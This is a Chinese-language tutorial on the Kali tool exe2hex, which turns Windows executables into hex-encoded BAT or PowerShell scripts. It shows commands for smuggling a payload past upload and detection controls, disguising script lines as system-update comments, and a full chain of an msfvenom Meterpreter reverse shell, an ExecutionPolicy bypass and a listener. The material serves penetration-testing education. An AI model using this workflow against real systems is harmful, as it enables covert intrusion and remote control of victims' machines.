exe2hex是Kali Linux中一款专门用于将Windows可执行文件(.exe)转换为十六进制(HEX)编码的工具。它的核心功能是将二进制的EXE文件转换为纯文本形式的十六进制代码,并生成能够还原这些代码为可执行文件的脚本(如BAT批处理或PowerShell脚本)。
在渗透测试场景中,exe2hex的主要价值在于绕过目标系统的安全限制。当目标系统禁止直接上传或执行EXE文件时,通过exe2hex转换后的十六进制文本可以作为普通文本传输,再通过生成的脚本在目标系统上还原为可执行文件并运行,实现隐蔽的代码执行。
一、exe2hex的核心功能与特点
核心功能
- 将二进制EXE文件转换为十六进制编码
- 生成可在目标系统上还原并执行的脚本文件
- 支持多种输出格式和编码方式
- 提供文件压缩和自动化执行选项
主要特点
- 跨架构支持:通过不同方法支持x86和x64架构的Windows系统
- 隐蔽性强:转换后的十六进制编码以纯文本形式存在,可规避常规安全检测
- 灵活的输出选项:支持BAT和PowerShell两种脚本格式
- 扩展功能丰富:提供URL编码、文件压缩、自动化会话等辅助功能
- 操作简单:命令行界面简洁,易于学习和使用
二、exe2hex使用说明(中文翻译与表格)
基本用法
| 英文用法 | 中文翻译 |
|---|---|
| exe2hex [options] | exe2hex [选项] |
基础选项
| 参数 | 描述 |
|---|---|
| -h, –help | 显示帮助信息并退出 |
| -x EXE | 指定要转换的EXE二进制文件 |
| -s | 从标准输入(STDIN)读取数据 |
| -b BAT | 生成BAT输出文件(使用DEBUG.exe方法 – 仅x86) |
| -p POSH | 生成PowerShell输出文件(PowerShell方法 – x86/x64) |
| -e | 对输出进行URL编码 |
| -v | 启用详细模式 |
格式控制选项
| 参数 | 描述 |
|---|---|
| -r TEXT | 前缀 – 在每行命令前添加指定文本 |
| -f TEXT | 后缀 – 在每行命令后添加指定文本 |
| -l INT | 每行的最大十六进制值数量 |
文件处理与自动化选项
| 参数 | 描述 |
|---|---|
| -c | 转换前克隆并压缩文件(-cc表示更高压缩率) |
| -t | 创建Expect文件,用于自动化Telnet会话 |
| -w | 创建Expect文件,用于自动化WinEXE会话 |
三、exe2hex使用教程
1. 安装exe2hex
在Kali Linux中,exe2hex通常已预装,可通过以下命令确认:
which exe2hex如果未安装,可以通过以下命令安装:
sudo apt update && sudo apt install exe2hex查看工具帮助信息:
exe2hex --help2. 基本使用方法:将EXE转换为BAT文件
这是最常用的功能,将EXE文件转换为可在x86架构Windows系统上运行的BAT脚本:
exe2hex -x payload.exe -b output.bat参数说明:
–-x payload.exe:指定要转换的EXE文件
–-b output.bat:指定输出的BAT文件名
执行后,会生成output.bat文件,该文件包含十六进制编码和还原命令。将此BAT文件传输到目标x86 Windows系统,执行即可还原并运行原始EXE文件。
3. 生成PowerShell脚本(支持x64系统)
对于x64架构的Windows系统,应使用PowerShell脚本格式:
exe2hex -x payload.exe -p output.ps1参数说明:
–-p output.ps1:指定输出的PowerShell文件名
在目标系统上执行方法:
powershell -ExecutionPolicy Bypass -File output.ps14. 带压缩的转换
对于较大的EXE文件,可以使用压缩选项减小输出脚本的体积:
# 普通压缩 exe2hex -x large_payload.exe -p output.ps1 -c # 更高压缩率 exe2hex -x large_payload.exe -p output.ps1 -cc5. 带URL编码的转换
当需要通过网络传输或规避特殊字符过滤时,可以使用URL编码:
exe2hex -x payload.exe -p output.ps1 -e6. 自定义每行的十六进制值数量
默认情况下,exe2hex会自动决定每行显示的十六进制值数量,也可以手动指定:
exe2hex -x payload.exe -b output.bat -l 16上述命令将每行限制为16个十六进制值。
7. 添加前缀和后缀文本
可以在每行命令前添加前缀或后添加后缀文本,用于伪装或添加额外功能:
exe2hex -x payload.exe -b output.bat -r "REM System update: " -f " >> log.txt"上述命令会在每行前添加注释前缀,每行后添加日志记录命令。
8. 从标准输入读取数据
除了直接指定文件,还可以通过管道从标准输入读取数据:
cat payload.exe | exe2hex -s -p output.ps19. 生成Telnet自动化脚本
生成可通过Telnet自动执行的脚本:
exe2hex -x payload.exe -b output.bat -t这会生成一个.expect文件,编辑该文件设置目标IP、端口、用户名和密码后,可通过expect工具自动完成Telnet连接和脚本执行。
# 安装expect工具 sudo apt install expect # 执行自动化脚本 expect output.bat.exp10. 生成WinEXE自动化脚本
类似地,可以生成用于WinEXE会话的自动化脚本:
exe2hex -x payload.exe -b output.bat -w11. 详细模式转换
在调试或需要了解转换过程时,可以启用详细模式:
exe2hex -x payload.exe -p output.ps1 -v四、实际应用场景示例
场景1:渗透测试中绕过文件上传限制
- 生成恶意EXE文件:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o shell.exe - 转换为PowerShell脚本:
exe2hex -x shell.exe -p shell.ps1 -c -e - 将shell.ps1上传到目标系统(作为文本文件)
- 在目标系统上执行:
powershell -ExecutionPolicy Bypass -File shell.ps1 - 在攻击机上监听连接:
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.100; set LPORT 4444; run"
场景2:通过Telnet远程执行
- 转换EXE并生成Telnet自动化脚本:
exe2hex -x shell.exe -b shell.bat -t -v - 编辑生成的.expect文件,设置目标信息:
nano shell.bat.exp设置目标IP、端口、用户名和密码
- 执行自动化脚本:
expect shell.bat.exp
五、使用注意事项
- 架构兼容性:BAT文件(-b选项)仅适用于x86架构系统,x64系统应使用PowerShell脚本(-p选项)
- 法律授权:仅在获得明确授权的情况下使用该工具进行安全测试,未经授权的使用可能违反法律法规
- 检测规避:虽然转换为文本形式可以规避一些安全检测,但现代安全软件可能仍会检测到恶意行为
- 文件大小:转换后的文件体积会显著增大(约为原文件的4倍),大文件可能需要压缩
- 临时文件:执行生成的脚本会在目标系统上创建临时文件,可能留下痕迹
- 权限问题:在目标系统上执行脚本可能需要相应的权限,低权限账户可能受到限制
六、总结
exe2hex是一款在渗透测试中非常实用的工具,特别是在需要绕过文件上传限制和执行限制的场景中。它通过将二进制可执行文件转换为十六进制编码的文本形式,使得恶意代码能够以看似无害的文本形式传输和执行。
exe2hex支持多种输出格式和丰富的选项,能够适应不同的目标系统环境和安全限制。然而,使用该工具时必须遵守法律法规,仅在获得明确授权的情况下进行安全测试。
掌握exe2hex的使用方法,能够极大地提高渗透测试人员在面对文件上传和执行限制时的应对能力,是网络安全从业人员值得掌握的工具之一。